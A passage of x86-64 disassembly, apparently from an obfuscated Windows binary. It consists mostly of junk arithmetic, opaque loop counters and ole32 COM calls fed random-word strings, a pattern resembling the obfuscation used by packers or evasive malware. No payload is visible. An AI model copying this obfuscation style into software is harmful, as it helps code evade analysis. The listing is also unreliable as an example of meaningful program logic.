sar edx, cl
mov eax, edx
mov word [rbp + 0x302], ax
movzx edx, byte [rbp + 0x43bd]
movzx eax, byte [rbp + 0x44ce]
and eax, edx
mov byte [rbp + 0x184e], al
movzx eax, word [rbp + 0x302]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x2b78]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x4328]
mov rax, qword [rbp + 0x2b78]
add edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x3e98]
sub rdx, rax
mov qword [rbp + 0x1fd8], rdx
mov rax, qword [rbp + 0x16318]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bbc]
add edx, eax
mov rax, qword [rbp + 0x15968]
mov dword [rax], edx
mov rax, qword [rbp + 0x163b0]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1bf8]
mov rax, qword [rbp + 0x4020]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd038]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x2c00]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3b7]
and eax, edx
mov byte [rbp + 0x43bd], al
movzx edx, word [rbp + 0x4328]
mov rax, qword [rbp + 0x2b78]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x232e], ax
mov rax, qword [rbp + 0x3538]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x2a9d]
xor eax, edx
mov byte [rbp + 0xbff], al
movzx edx, word [rbp + 0x421e]
movzx eax, word [rbp + 0x2ee]
or edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
movzx eax, word [rbp + 0x4328]
movzx edx, ax
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x2b78]
mov word [rax], dx
mov edx, dword [rbp + 0x8f4]
mov rax, qword [rbp + 0x15968]
mov eax, dword [rax]
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x16390]
mov dword [rax], edx
mov ecx, dword [rbp + 0x644]
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x15990]
mov rcx, qword [rax]
mov rdx, qword [0x1400fd030]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
movzx eax, byte [rbp + 0x44ce]
mov edx, eax
movzx eax, byte [rbp + 0x43bd]
add eax, edx
mov byte [0x1400f9004], al
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x44ce], al
movzx eax, word [rbp + 0x3d32]
mov edx, eax
movzx eax, word [rbp + 0x302]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2ee], ax
movzx edx, byte [rbp + 0x51f]
mov rax, qword [rbp + 0x4180]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2a9d], al
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
add edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x421e]
add eax, edx
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x16390]
mov edx, dword [rax]
mov eax, dword [rbp + 0x8f4]
add eax, edx
mov dword [rbp + 0x57c], eax
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bf8]
and edx, eax
mov rax, qword [rbp + 0x163b0]
mov dword [rax], edx
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x1f10]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
xor rax, rdx
mov qword [0x1400fd030], rax
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x2b78]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x27c], ax
mov rax, qword [rbp + 0x2c00]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x184e]
or eax, edx
mov byte [rbp + 0x44ce], al
mov rax, qword [rbp + 0x3538]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x2a9d], al
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x302]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3d32], ax
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x4328]
mov rax, qword [rbp + 0x2b78]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x129c]
sub edx, eax
mov rax, qword [rbp + 0x163b0]
mov dword [rax], edx
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x1fd8], rax
mov rcx, qword [rbp + 0xa00]
mov rdx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0x2898]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [0x1400f9005], al
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3d32], ax
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x2a9d], al
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
add edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rax, qword [rbp + 0x3538]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4180]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x2a9d], al
movzx eax, word [rbp + 0x232e]
movzx edx, ax
movzx eax, word [rbp + 0x4328]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x2b78]
mov word [rax], dx
mov rax, qword [rbp + 0x15978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x3d32]
or edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
add dword [rbp + 0x16300], 0xf4
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [0x1400fd030]
mov ecx, eax
mov rax, qword [rbp + 0x2898]
shl rdx, cl
mov qword [rax], rdx
mov rax, qword [rbp + 0x16d8]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
xor eax, edx
mov dword [rbp + 0x8f4], eax
mov rax, qword [rbp + 0x1f10]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x1818]
mov rax, qword [0x1400fd038]
and rdx, rcx
mov qword [rax], rdx
cmp dword [rbp + 0x16300], 0xafdc
jbe 0x14000b79c
movzx eax, byte [rbp + 0xbff]
movzx edx, al
movzx eax, byte [rbp + 0x2a9d]
movzx eax, al
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x51f]
movzx eax, al
sub edx, eax
cmp ecx, edx
je 0x14000bd74
movzx ecx, byte [rbp + 0x2a9d]
movzx edx, byte [rbp + 0x51f]
mov rax, qword [rbp + 0x3538]
and edx, ecx
mov byte [rax], dl
call fcn.1400e3351
lea rax, [rbp + 0x44ce]
mov qword [rbp + 0x3688], rax
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x421e]
add eax, edx
mov word [rbp + 0x3d32], ax
movzx edx, word [rbp + 0x27c]
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x232e], ax
mov rax, qword [rbp + 0x3688]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3b7]
add edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rax, qword [rbp + 0x15968]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x57c], edx
mov rdx, qword [rbp + 0x3e98]
mov rax, qword [rbp + 0x162e8]
add rax, rdx
mov qword [rbp + 0x1fd8], rax
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
or edx, eax
mov rax, qword [rbp + 0x163b0]
mov dword [rax], edx
mov rdx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0x4448]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [0x1400fd030]
mov ecx, eax
mov rax, qword [0x1400fd038]
sar rdx, cl
mov qword [rax], rdx
movzx edx, byte [rbp + 0xbff]
movzx eax, byte [rbp + 0x2a9d]
xor eax, edx
mov byte [rbp + 0x51f], al
add dword [rbp + 0x16304], 0xfb
mov rax, qword [rbp + 0x3688]
movzx ecx, byte [rax]
movzx edx, byte [0x1400f9004]
mov rax, qword [rbp + 0x2c00]
and edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx edx, word [rbp + 0x4328]
sub eax, edx
mov word [rbp + 0x232e], ax
movzx eax, word [rbp + 0x3d32]
mov edx, eax
movzx eax, word [rbp + 0x2ee]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x15968]
mov edx, dword [rax]
mov eax, dword [rbp + 0x35b4]
add eax, edx
mov dword [rbp + 0x57c], eax
mov rax, qword [rbp + 0x1f10]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
sub rdx, rax
mov qword [rbp + 0xa00], rdx
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x3e98]
and rax, rdx
mov qword [rbp + 0x162e8], rax
mov ecx, dword [rbp + 0x644]
mov edx, dword [rbp + 0x129c]
mov rax, qword [rbp + 0x4020]
add edx, ecx
mov dword [rax], edx
mov rcx, qword [rbp + 0x1818]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [0x1400fd038]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x3688]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x184e]
add edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x2fd4]
mov rax, qword [rbp + 0x2b78]
add edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15978]
movzx edx, word [rax]
movzx eax, word [rbp + 0x3d32]
xor eax, edx
mov word [rbp + 0x302], ax
cmp dword [rbp + 0x16304], 0xa666
jbe 0x14000bd82
mov rax, qword [rbp + 0x1f10]
mov rax, qword [rax]
test rax, rax
jne 0x14000c0a5
lea rax, [rbp + 0x302]
mov qword [rbp + 0x16380], rax
mov rax, qword [rbp + 0x16390]
mov eax, dword [rax]
cmp eax, 0x89a5997b
jne 0x14000c094
mov rdx, qword [rbp + 0x1818]
movabs rax, 0x70a14541faadabd3
cmp rdx, rax
jne 0x14000c02d
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2898]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x1818], rax
jmp 0x14000c092
mov rax, qword [rbp + 0x16380]
movzx eax, word [rax]
movsx edx, ax
movzx eax, word [rbp + 0x302]
cwde
mov ecx, eax
sar edx, cl
mov eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
lea rax, [rbp + 0x7f0]
mov rdx, rax
lea rax, str.Fobbed_Uneasiest
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_IIDFromString]
call rax
mov dword [rbp + 0x15964], eax
mov rax, qword [rbp + 0x16318]
mov edx, dword [rax]
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
or eax, edx
mov dword [rbp + 0x57c], eax
nop
jmp 0x14000c0a3
lea rax, [rbp + 0x3d50]
mov qword [rbp + 0xb08], rax
nop
jmp 0x14000c0dd
mov rax, qword [rbp + 0x15968]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x3688]
movzx eax, byte [rax]
movsx ecx, al
movzx eax, byte [rbp + 0x3b7]
movsx edx, al
mov rax, qword [rbp + 0x16390]
mov eax, dword [rax]
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.1400e3877
nop
mov rax, qword [rbp + 0x16318]
mov edx, dword [rax]
mov eax, dword [rbp + 0x1bbc]
mov ecx, edx
and ecx, eax
mov edx, dword [rbp + 0x1cbc]
mov eax, dword [rbp + 0x8f4]
add eax, edx
cmp ecx, eax
jae 0x14000c1b2
movzx eax, byte [rbp + 0x3b7]
mov edx, eax
movzx eax, byte [rbp + 0x44ce]
sub edx, eax
mov rax, qword [rbp + 0x3688]
mov byte [rax], dl
mov rax, qword [rbp + 0x16380]
movzx eax, word [rax]
cwde
cmp eax, 0x5ce5
je 0x14000c18e
cmp eax, 0x7cf3
jne 0x14000c1b2
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x2a9d]
add eax, edx
mov byte [rbp + 0x51f], al
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
movzx r8d, al
mov rax, qword [rbp + 0x16d8]
mov ecx, dword [rax]
movzx eax, word [rbp + 0x2fd4]
movzx edx, ax
mov rax, qword [rbp + 0x15990]
mov rax, qword [rax]
mov r9d, r8d
mov r8d, ecx
mov rcx, rax
call fcn.1400e28b4
jmp 0x14000c1b2
lea rax, [rbp + 0x3490]
mov rdx, rax
lea rax, str.correspond_Aegina_personage_Breezier_Upfront
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
call rax
mov dword [rbp + 0x10ec], eax
nop
lea rax, [rbp + 0x3d32]
mov qword [rbp + 0x15950], rax
mov rax, qword [rbp + 0x2b78]
movzx eax, word [rax]
mov word [rbp + 0x650], ax
jmp 0x14000c651
movzx edx, byte [rbp + 0xbff]
movzx eax, byte [rbp + 0x2a9d]
add eax, edx
mov byte [rbp + 0x51f], al
movzx eax, word [rbp + 0x421e]
mov edx, eax
movzx eax, word [rbp + 0x3d32]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15950]
mov word [rax], dx
mov rcx, qword [rbp + 0xa00]
mov rdx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0x4448]
and rdx, rcx
mov qword [rax], rdx
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x129c]
add edx, eax
mov rax, qword [rbp + 0x163b0]
mov dword [rax], edx
movzx eax, byte [0x1400f9004]
mov edx, eax
movzx eax, byte [rbp + 0x43bd]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [0x1400f9005], al
mov edx, dword [rbp + 0x57c]
mov eax, dword [rbp + 0x35b4]
sub edx, eax
mov dword [rbp + 0x1cbc], edx
movzx edx, byte [rbp + 0x51f]
movzx eax, byte [rbp + 0xbff]
xor eax, edx
mov byte [rbp + 0x2a9d], al
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x2b78]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x650], ax
movzx edx, byte [rbp + 0x43bd]
movzx eax, byte [rbp + 0x3b7]
or eax, edx
mov byte [rbp + 0x44ce], al
mov rax, qword [rbp + 0x2b78]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x232e]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x4328], ax
mov rax, qword [rbp + 0x3688]
movzx ecx, byte [rax]
movzx edx, byte [0x1400f9005]
mov rax, qword [rbp + 0x2c00]
and edx, ecx
mov byte [rax], dl
mov rdx, qword [rbp + 0xa00]
mov rax, qword [rbp + 0x4e8]
add rax, rdx
mov qword [rbp + 0x1818], rax
mov edx, dword [rbp + 0x57c]
mov eax, dword [rbp + 0x1cbc]
sub edx, eax
mov rax, qword [rbp + 0x15968]
mov dword [rax], edx
mov rax, qword [rbp + 0xb08]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3d50]
add eax, edx
mov dword [section..data], eax
add dword [rbp + 0x162f4], 0xdc
mov rax, qword [rbp + 0x1f10]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x2898]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4448]
add rdx, rcx
mov qword [rax], rdx
movzx edx, byte [rbp + 0x2a9d]
movzx ecx, byte [rbp + 0x51f]
mov rax, qword [rbp + 0x4180]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3538]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x2a9d]
add eax, edx
mov byte [rbp + 0xbff], al
movzx edx, word [rbp + 0x302]
movzx eax, word [rbp + 0x2ee]
and edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
movzx edx, word [rbp + 0x27c]
mov rax, qword [rbp + 0x2b78]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x2fd4], ax
mov rax, qword [rbp + 0x3688]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x43bd]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3688]
mov byte [rax], dl
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x129c]
or edx, eax
mov rax, qword [rbp + 0x163b0]
mov dword [rax], edx
mov rax, qword [rbp + 0x3e98]
mov rdx, qword [rbp + 0x3798]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x162e8], rax
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0xa00]
xor rax, rdx
mov qword [0x1400fd030], rax
mov edx, dword [rbp + 0x1bbc]
mov eax, dword [rbp + 0x35b4]
add eax, edx
mov dword [rbp + 0x57c], eax
mov rax, qword [rbp + 0x1928]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x232e]
mov rax, qword [rbp + 0x2b78]
and edx, ecx
mov word [rax], dx
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x302]
add eax, edx
mov word [rbp + 0x3d32], ax
mov rax, qword [rbp + 0x3538]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x4180]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xbff], al
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x421e]
add eax, edx
mov word [rbp + 0x302], ax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [0x1400f9005]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3b7], al
mov edx, dword [rbp + 0x35b4]
mov eax, dword [rbp + 0x57c]
sub edx, eax
mov rax, qword [rbp + 0x16318]
mov dword [rax], edx
mov rdx, qword [rbp + 0x1818]
mov rax, qword [rbp + 0xa00]
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0xb08]
mov edx, dword [rax]
mov eax, dword [rbp + 0x644]
sub edx, eax
mov dword [section..data], edx
mov edx, dword [rbp + 0x968]
mov eax, dword [rbp + 0x1bf8]
and edx, eax
mov rax, qword [rbp + 0x163b0]
mov dword [rax], edx
movzx eax, byte [rbp + 0x44ce]
movsx edx, al
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x3688]
mov byte [rax], dl
mov rax, qword [rbp + 0x2b78]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x4328]
mov rax, qword [rbp + 0x1928]
or edx, ecx
mov word [rax], dx
movzx eax, byte [rbp + 0x2a9d]
movzx edx, al
mov rax, qword [rbp + 0x4180]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x51f], al
movzx edx, word [rbp + 0x421e]
movzx eax, word [rbp + 0x302]
xor eax, edx
mov word [rbp + 0x3d32], ax
movzx eax, byte [rbp + 0x44ce]
mov edx, eax
movzx eax, byte [rbp + 0x43bd]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x184e], al
mov rax, qword [rbp + 0x4448]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2898]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x4e8], rax
mov rax, qword [rbp + 0x15968]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x8f4]
mov rax, qword [rbp + 0x16d8]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x3688]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [0x1400f9004], al
mov ecx, dword [rbp + 0x129c]
mov edx, dword [rbp + 0x644]
mov rax, qword [rbp + 0x4020]
sub ecx, edx
mov dword [rax], ecx
cmp dword [rbp + 0x162f4], 0x7a05
jne 0x14000c1d6
mov rax, qword [rbp + 0x15950]
movzx eax, word [rax]
mov edx, eax
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x3d32], ax
mov rax, qword [rbp + 0x1928]
movzx eax, word [rax]
mov word [rbp + 0x73e], ax
mov rax, qword [rbp + 0x4180]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
add eax, edx
mov byte [rbp + 0x51f], al
mov edx, dword [rbp + 0x644]
mov rax, qword [rbp + 0x163b0]
mov eax, dword [rax]
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov rax, qword [rbp + 0xb08]
mov eax, dword [rax]
add eax, edx
cmp ecx, eax
jle 0x14000c743
nop
mov rax, qword [rbp + 0x3538]
movzx eax, byte [rax]
movzx edx, byte [rbp + 0x2a9d]
sub eax, edx
mov byte [rbp + 0x51f], al
lea r8, [rbp + 0x3b7]
lea rcx, [rbp + 0x2910]
lea rdx, [rbp + 0x2320]
lea rax, [rbp + 0xbff]
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetObject]
call rax
mov dword [rbp + 0x15984], eax
mov rax, qword [rbp + 0x15978]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x3d32]
add eax, edx
mov word [rbp + 0x2ee], ax
jmp 0x1400e2019
mov edx, dword [rbp + 0x3d50]
mov eax, dword [rbp + 0x968]
lea ecx, [rdx + rax]
mov edx, dword [section..data]
mov eax, dword [rbp + 0x129c]
sub edx, eax
cmp ecx, edx
jle 0x1400e2018
movzx eax, word [rbp + 0x3d32]
mov edx, eax
movzx eax, word [rbp + 0x302]
add eax, edx
mov edx, eax
mov rax, qword [rbp + 0x15978]
mov word [rax], dx
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3d50]
and edx, eax
mov r8d, edx
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x968]
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
je 0x1400e1f9d
movzx eax, byte [rbp + 0x51f]
movzx edx, al
movzx eax, byte [rbp + 0x2a9d]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0xbff], al
movzx eax, byte [rbp + 0xbff]
movzx r8d, al
mov ecx, dword [rbp + 0x1cbc]
movzx eax, word [rbp + 0x2fd4]
movzx edx, ax
mov rax, qword [rbp + 0xa00]
mov r9d, r8d
mov r8d, ecx
mov rcx, rax
call fcn.1400e28b4
jmp 0x1400e2018
lea r8, [rbp + 0x3170]
lea rdx, [rbp + 0x4180]
lea rax, [rbp + 0x10c0]
lea rcx, [rbp + 0x16d8]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0x4e
mov r9, r8
mov r8d, 0xa2
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetStandardMarshal]
call rax
mov dword [rbp + 0x15984], eax
mov rax, qword [rbp + 0x1928]
movzx edx, word [rax]
movzx ecx, word [rbp + 0x2fd4]
mov rax, qword [rbp + 0x1928]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x163b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
sub edx, eax
mov dword [rbp + 0x644], edx
nop
mov edx, dword [rbp + 0x644]
mov eax, dword [rbp + 0x968]
sub edx, eax
mov dword [rbp + 0x3d50], edx
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x43bd]
sub edx, eax
mov rax, qword [rbp + 0x2c00]
mov byte [rax], dl
lea rdx, [rbp + 0x2de8]
lea rax, [rbp + 0x2c00]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoSwitchCallContext]
call rax
mov dword [rbp + 0x15964], eax
mov rax, qword [rbp + 0x2c00]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3b7]
add eax, edx
mov byte [0x1400f9004], al
jmp 0x1400e2103
movzx eax, byte [rbp + 0x43bd]
movsx eax, al
cmp eax, 0x36
je 0x1400e209e
cmp eax, 0x4b
je 0x1400e20ea
jmp 0x1400e2102
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x302]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x421e], ax
mov r8d, dword [rbp + 0x57c]
mov edx, dword [rbp + 0x35b4]
mov rax, qword [rbp + 0x16d8]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [sym.imp.ole32.dll_CoRevertToSelf]
call rax
mov dword [rbp + 0x10ec], eax
jmp 0x1400e2102
mov rax, qword [rbp + 0x4020]
mov edx, dword [rax]
mov eax, dword [rbp + 0x644]
xor eax, edx
mov dword [section..data], eax
nop
nop
mov rax, qword [sym.imp.ole32.dll_CoSuspendClassObjects]
call rax
mov dword [rbp + 0x2aec], eax
mov rax, qword [rbp + 0x15990]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4e8]
sub rdx, rax
mov rax, qword [rbp + 0x15990]
mov qword [rax], rdx
mov rax, qword [rbp + 0x4020]
mov eax, dword [rax]
cmp eax, 0x6813f001
jne 0x1400e21a0
movzx eax, byte [rbp + 0x3b7]
sub eax, 0x66
mov byte [rbp + 0x43bd], al
mov rdx, qword [rbp + 0x3798]
mov rax, qword [rbp + 0x162e8]
add rdx, rax
mov rax, qword [rbp + 0x1fd8]
cmp rdx, rax
jae 0x1400e21bb
mov r8d, dword [rbp + 0x57c]
movzx eax, byte [rbp + 0x3b7]
movsx ecx, al
movzx eax, byte [rbp + 0x3b7]
movsx edx, al
mov rax, qword [rbp + 0x16d8]
mov eax, dword [rax]
mov r9d, r8d
mov r8d, ecx
mov ecx, eax
call fcn.1400e3877
jmp 0x1400e21bb
mov edx, 0x4b
mov ecx, 0x56
mov rax, qword [sym.imp.ole32.dll_CoCancelCall]
call rax
mov dword [rbp + 0x2a34], eax
jmp 0x1400e21bc
nop
jmp 0x1400e2291
mov eax, dword [rbp + 0x57c]
cmp eax, 0x42b1ad50
je 0x1400e21d5
cmp eax, 0x94fc9477
jmp 0x1400e21ea
mov edx, dword [rbp + 0x129c]
mov eax, dword [rbp + 0x644]
add eax, edx
mov dword [section..data], eax
nop
movzx eax, word [rbp + 0x2ee]
mov edx, eax
movzx eax, word [rbp + 0x302]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov word [rbp + 0x421e], ax
lea rdx, [rbp + 0x2ee]
lea rax, [rbp + 0x10e0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoSwitchCallContext]
call rax
mov dword [rbp + 0x10ec], eax
mov rax, qword [rbp + 0x4448]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x4448]
sub rcx, rdx
mov qword [rax], rcx
movzx eax, word [rbp + 0x232e]
movzx edx, word [rbp + 0x27c]
sub eax, edx
mov word [rbp + 0x4328], ax
lea rax, [rbp + 0x1a40]
mov rdx, rax
lea rax, str.misspelled_Domineering_relegation
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CLSIDFromProgIDEx]
